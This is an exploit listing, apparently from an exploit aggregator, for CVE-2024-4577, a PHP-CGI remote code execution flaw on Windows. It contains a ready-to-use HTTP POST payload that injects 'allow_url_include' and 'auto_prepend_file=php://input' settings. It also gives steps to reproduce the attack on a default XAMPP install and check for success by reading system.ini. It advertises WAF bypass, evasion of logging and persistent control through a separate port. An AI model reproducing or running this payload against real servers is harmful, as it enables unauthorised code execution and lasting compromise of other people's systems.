Exploit for OS Command Injection in Php

## https://sploitus.com/exploit?id=38D58BCA-54B0-516F-8728-2FEED31439BC
# CVE-2024-4577-PHP-RCE

## Project Overview and Mechanism

- The world’s first exploit leveraging the CVE-2024-4577 PHP-CGI RCE vulnerability using the default PHP environment (XAMPP). This exploit supports SSRF and WAF bypass techniques.
- It exploits the PHP default environment. The mechanism involves setting `cgi.force_redirect` and `REDIRECT-STATUS`.
- A new original exploit has been added, capable of bypassing WAF protections. The mechanism involves creating a FastCGI server and handling data requests via the `data://` protocol.
- This exploit allows for the exploitation of vulnerabilities without requiring modifications to the `allow_url_include`, `auto_prepend_file`, or `auto_append_file` settings.
- All communication between the FastCGI server and the client is not recorded by WAF.
- A new port is used for the exploit, allowing for persistent control of the PHP server, independent of Apache and PHP.

## Vulnerability Details

| Information | Content |
| --- | --- |
| Vulnerability Name | PHP RCE |
| Vulnerability ID | CVE-2024-4577 |
| Risk Level | High |
| Vulnerability Type | RCE |
| Exploitation Difficulty | Low |

## Affected Versions

- [PHP for Windows](https://www.php.net/) 8.3.0

## EXP 4

This exploit can be used in the default configuration:

```
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

```

## Reproduction Steps

1. Server Environment:

   ```
   XAMPP for Windows 8.2.12
   ```

2. Download and Install XAMPP:

   ```
   https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
   Or you can download the affected version here: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
   ```

3. Configure the Server:

   No modifications are required; keep the settings as default.

4. Use the EXP on the Client:

   Use the above EXP for testing.

5. Verification:

   Check whether the string “TesT” is returned, or examine the content of the server’s system.ini file.